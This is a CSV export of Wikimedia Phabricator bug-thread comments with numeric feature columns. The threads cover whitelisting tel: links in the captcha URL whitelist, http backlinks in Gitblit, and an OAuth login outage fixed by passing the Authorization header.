271973,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change merged. It should be deployed to WMF wikis with 1.23wmf7, see https://www.mediawiki.org/wiki/MediaWiki_1.23/Roadmap for the schedule.",,,1386352774,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.9473684210526315,"Change merged. It should be deployed to WMF wikis with 1.23wmf7, see URL for the schedule."
271969,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 merged by jenkins-bot:
Allow 'noprotocol' option in captcha-addurl-whitelist

https://gerrit.wikimedia.org/r/97317",,,1386352444,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2272727272727275,0.8636363636363636,"Change 97317 merged by jenkins-bot:
Allow 'noprotocol' option in captcha-addurl-whitelist

GERRIT_URL"
271963,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)

I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //.",,,1385321675,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,11.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,5.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,11.0,3.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.459016393442623,0.7213114754098361,"I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)

I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //."
271957,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

Thanks for the quick patch.

To confirm, the regex for whitelisting tel: links would be something along the lines of - 

tel <noprotocol> ?",,,1385298478,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.641025641025641,0.7435897435897436,"**singaporemaps** wrote:

Thanks for the quick patch.

To confirm, the regex for whitelisting tel: links would be something along the lines of - 

tel <noprotocol> ?"
271952,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 had a related patch set uploaded by Anomie:
Allow 'noprotocol' option in captcha-addurl-whitelist

https://gerrit.wikimedia.org/r/97317",,,1385231372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.36,0.92,"Change 97317 had a related patch set uploaded by Anomie:
Allow 'noprotocol' option in captcha-addurl-whitelist

GERRIT_URL"
271947,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

Should have checked the bug list beforehand. This above modification would be much appreciated.

--

On the English Wikivoyage, we have added tel:// protocol links to phone numbers
so that users can dial through on their mobile phones. However, since tel://
links are considered external links, all new phone numbers added now require a
CAPTCHA to be filled.

I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
and maybe even geo:// links?",,,1385169214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,1.5,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.0,7.5,0.0,2.5,0.5,1.0,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,4.5,3.0,3.5,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,1.0,12.5,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,9.0,2.5,1.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,7.5,4.5,1.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,0.775,"**singaporemaps** wrote:

Should have checked the bug list beforehand. This above modification would be much appreciated.

--

On the English Wikivoyage, we have added tel:// protocol links to phone numbers
so that users can dial through on their mobile phones. However, since tel://
links are considered external links, all new phone numbers added now require a
CAPTCHA to be filled.

I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
and maybe even geo:// links?"
271943,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%",,,1385169090,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5625,"**singaporemaps** wrote:

%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%"
271938,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","(In reply to comment #0)
> Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in
> [[MediaWiki:TitleBlacklist]], one of which would indicate that this line
> should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

This sounds sensible to me.",,,1384270448,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.7619047619047619,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

This sounds sensible to me."
58953,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.

If possible, this link should be clickable.

Thanks.

Example on:
https://git.wikimedia.org/commit/mediawiki%2Fcore/96906d6cd38ba7c1c5af81e05a30105e6a29414f

--------------------------
**Version**: wmf-deployment
**Severity**: trivial",Low,25.0,1384285260,1453829072.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-fbkubnlicr5uirinxi5s,task_description,declined,True,c2,3,False,False,False,10,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.079365079365079,0.6507936507936508,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.

If possible, this link should be clickable.

Thanks.

Example on:
URL

--------------------------
**Version**: wmf-deployment
**Severity**: trivial"
590221,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,(I thought you meant the auto-linking of like r123 :),,,1452782159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,(I thought you meant the auto-linking of like r123 :)
590220,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point.",,,1452782141,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,15.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.652173913043478,0.8695652173913043,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point."
590218,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"The configuration says https, weird :\",,,1452782090,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,"The configuration says https, weird :\"
590193,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"It is not fixed, I still see a http link to www.mediawiki.org on the example above",,,1452776963,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,False,,,124,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,1.0,"It is not fixed, I still see a http link to www.mediawiki.org on the example above"
589908,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,Was fixed at some point.,,,1452722405,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Was fixed at some point.
273724,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"(In reply to comment #1)
> This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file
> name is memory serves.

Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.

Or is operations/puppet the wrong repo to search for that file?",,,1391199747,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,0.0,3.0,12.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,2.0,12.0,3.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5164835164835164,0.6263736263736264,"(In reply to comment #1)
QUOTE

gitblit.config.erb is the file
QUOTE

Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.

Or is operations/puppet the wrong repo to search for that file?"
273719,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file name is memory serves.",,,1385146535,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,12,True,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.85,"This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file name is memory serves."
75968,OAuth login isn't working,"As of the last few hours, OAuth login does not appear to be working for any consumers.

I've tested these:

http://quarry.wmflabs.org/
http://wizard.wikiedu.org
http://tools.wmflabs.org/oauth-hello-world/",Unbreak Now!,100.0,1416975892,1416988263.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_description,resolved,True,c3,1,False,False,True,-32,True,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2580645161290325,0.8709677419354839,"As of the last few hours, OAuth login does not appear to be working for any consumers.

I've tested these:

URL
URL
URL"
333363,OAuth login isn't working,Looks fixed to me.,,,1416988263,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,3.0,1.0,Looks fixed to me.
333348,OAuth login isn't working,"Tim confirmed this was due to the fact that the Authorization HTTP header was unavailable to HHVM or Zend in the form of a $_SERVER variable, but Zend appservers were still getting it from apache_request_headers(). The fix is to trick apache in sending that header to the fastcgi server via a SetEnvIf:

https://gerrit.wikimedia.org/r/#/c/175952/

This is being deployed right now. We'll confirm if this is enough and close the ticket in case
",,,1416986379,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,14.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,17.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,8.0,14.0,2.0,4.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,14.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.048192771084337,0.7710843373493976,"Tim confirmed this was due to the fact that the Authorization HTTP header was unavailable to HHVM or Zend in the form of a $_SERVER variable, but Zend appservers were still getting it from apache_request_headers(). The fix is to trick apache in sending that header to the fastcgi server via a SetEnvIf:

URL

This is being deployed right now. We'll confirm if this is enough and close the ticket in case
"
333340,OAuth login isn't working,"Just a sanity check.  I verified the consumer key matches between phab and MW.  

https://www.mediawiki.org/wiki/Special:OAuthListConsumers/view/211867c109f5b97b392082965a1abd4b

The phab config hasn't changed I don't believe.  Just a sanity check.",,,1416981994,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,19.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5405405405405403,0.7027027027027027,"Just a sanity check.  I verified the consumer key matches between phab and MW.  

URL

The phab config hasn't changed I don't believe.  Just a sanity check."
333336,OAuth login isn't working,This is currently being debugged in -operations.,,,1416980611,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,This is currently being debugged in -operations.
333335,OAuth login isn't working," @mmodell, any idea?",,,1416980510,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"SCREEN_NAME, any idea?"
333330,OAuth login isn't working,"I couldn't login to Phab via mw.org, I got:

```
Unhandled Exception (""Exception"")
Expected 'oauth_token' in response!
```",,,1416976911,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.7777777777777778,"I couldn't login to Phab via mw.org, I got:

``CODE``"
